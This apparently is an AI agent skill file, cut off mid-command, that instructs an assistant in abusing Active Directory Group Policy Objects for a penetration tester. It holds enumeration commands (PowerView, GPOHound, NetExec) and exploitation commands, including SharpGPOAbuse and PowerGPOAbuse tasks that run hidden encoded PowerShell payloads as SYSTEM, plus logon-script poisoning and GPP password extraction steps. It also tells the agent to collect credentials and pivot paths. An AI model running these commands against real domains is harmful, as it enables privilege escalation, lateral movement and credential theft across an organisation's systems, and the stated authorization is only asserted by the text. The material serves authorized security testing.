/gpo-abuse

name: gpo-abuse
description: >
  Exploits Group Policy Objects for code execution, privilege escalation, and
  lateral movement in Active Directory. Covers GPO enumeration (GPOHound,
  BloodHound, PowerView), exploitation via immediate tasks, logon scripts, and
  registry modifications (SharpGPOAbuse, PowerGPOAbuse, pyGPOAbuse,
  GroupPolicyBackdoor), SYSVOL/NETLOGON logon script poisoning, and GPP
  password extraction.
keywords:
  - GPO abuse
  - group policy
  - SharpGPOAbuse
  - PowerGPOAbuse
  - GPOHound
  - GPO write
  - immediate task
  - logon script
  - SYSVOL
  - NETLOGON
  - GPP password
  - cpassword
  - group policy preferences
  - GPO lateral movement
  - GPO persistence
  - GPO escalation
  - writable GPO
tools:
  - SharpGPOAbuse
  - PowerGPOAbuse
  - pyGPOAbuse
  - GPOHound
  - GroupPolicyBackdoor
  - netexec
opsec: medium

GPO Abuse

You are helping a penetration tester exploit writable Group Policy Objects for code execution, privilege escalation, and lateral movement across Active Directory. All testing is under explicit written authorization.

**Kerberos-first authentication**: Enumeration and exploitation commands use Kerberos authentication where supported. pyGPOAbuse and Impacket tools use `-k -no-pass`, GroupPolicyBackdoor supports `-k`. Windows tools (SharpGPOAbuse, PowerGPOAbuse) use the current domain session.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[gpo-abuse] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Write access to a GPO (GenericWrite, WriteDACL, WriteProperty,

GenericAll, or WriteOwner on the GPO object)

• OR write access to SYSVOL/NETLOGON logon scripts
• OR read access to SYSVOL (for GPP password extraction)
• Tools: `SharpGPOAbuse` (Windows), `PowerGPOAbuse` (PowerShell),

`pyGPOAbuse` (Linux), `GPOHound`, optionally `GroupPolicyBackdoor`

**Kerberos-first workflow** (for Linux tools):

getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
export KRB5CCNAME=user.ccache

Step 1: Enumerate GPO Permissions

GPOHound (Comprehensive GPO Audit)

# Dump and analyze all GPOs
pipx install "git+https://github.com/cogiceo/GPOHound"
gpohound dump --json
gpohound analysis --processed --object group registry
gpohound dump --list --gpo-name

BloodHound (Graph-Based Discovery)

Look for edges: `GenericWrite`, `GenericAll`, `WriteDACL`, `WriteOwner`, `Owns` on GPO objects. Check which OUs the GPO is linked to — this determines the blast radius.

PowerView (ACL Enumeration)

# Find GPOs where current user has write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
  ($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty|GenericAll|WriteOwner") -and
  ($_.SecurityIdentifier -match (Get-DomainUser -Identity $env:USERNAME).objectsid)
}

# Get GPO details
Get-DomainGPO -Identity "SuperSecureGPO"

# Find which OUs are linked to the GPO
Get-DomainOU -GPLink "{GPO_GUID}" | Select DistinguishedName

# Find computers in those OUs
Get-DomainOU -GPLink "{GPO_GUID}" | ForEach-Object {
  Get-DomainComputer -SearchBase $_.DistinguishedName
}

NetExec GPO Enumeration

nxc ldap DC.DOMAIN.LOCAL --use-kcache -M gpo_enum

Key Information to Gather

1. **GPO name and GUID** — identifies the policy object 2. **Linked OUs** — determines which computers/users are affected 3. **Computer count** — blast radius of the modification 4. **Current GPO settings** — what the GPO already configures 5. **GPO file path** — `\\DOMAIN\SYSVOL\DOMAIN\Policies\{GUID}\`

Step 2: Choose Exploitation Method

| Method | Execution Context | Timing | OPSEC | Go To | |--------|------------------|--------|-------|-------| | Immediate task | SYSTEM | Next GPO refresh (~90 min) | **MEDIUM** | Step 3A | | Computer startup script | SYSTEM | Next reboot | **MEDIUM** | Step 3B | | User logon script | Logged-in user | Next logon | **MEDIUM** | Step 3B | | Registry Run key | User context | Next logon | **LOW** | Step 3C | | Local admin assignment | N/A (persistent) | Next GPO refresh | **MEDIUM** | Step 3D | | User rights assignment | N/A (persistent) | Next GPO refresh | **LOW** | Step 3D | | SYSVOL logon script poison | Logged-in user | Next logon | **LOW** | Step 4 |

**GPO Refresh Timing**: Default is every 90 minutes + 0-30 minute random offset. Force refresh on a target: `gpupdate /force` (requires access). DCs refresh every 5 minutes.

Step 3: GPO Exploitation

Step 3A: Immediate Task (Runs at Next GPO Refresh)

Creates a scheduled task that executes once per GPO refresh cycle.

**SharpGPOAbuse (Windows)**:

# Add immediate task — runs as SYSTEM
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
  --Author "DOMAIN\Admin" --Command "cmd.exe" \
  --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_PAYLOAD" \
  --GPOName "Vulnerable GPO" --Force

**PowerGPOAbuse (PowerShell)**:

. .\PowerGPOAbuse.ps1
Add-GPOImmediateTask -TaskName 'SystemUpdate' \
  -Command 'powershell.exe' \
  -CommandArguments '-nop -w hidden -enc BASE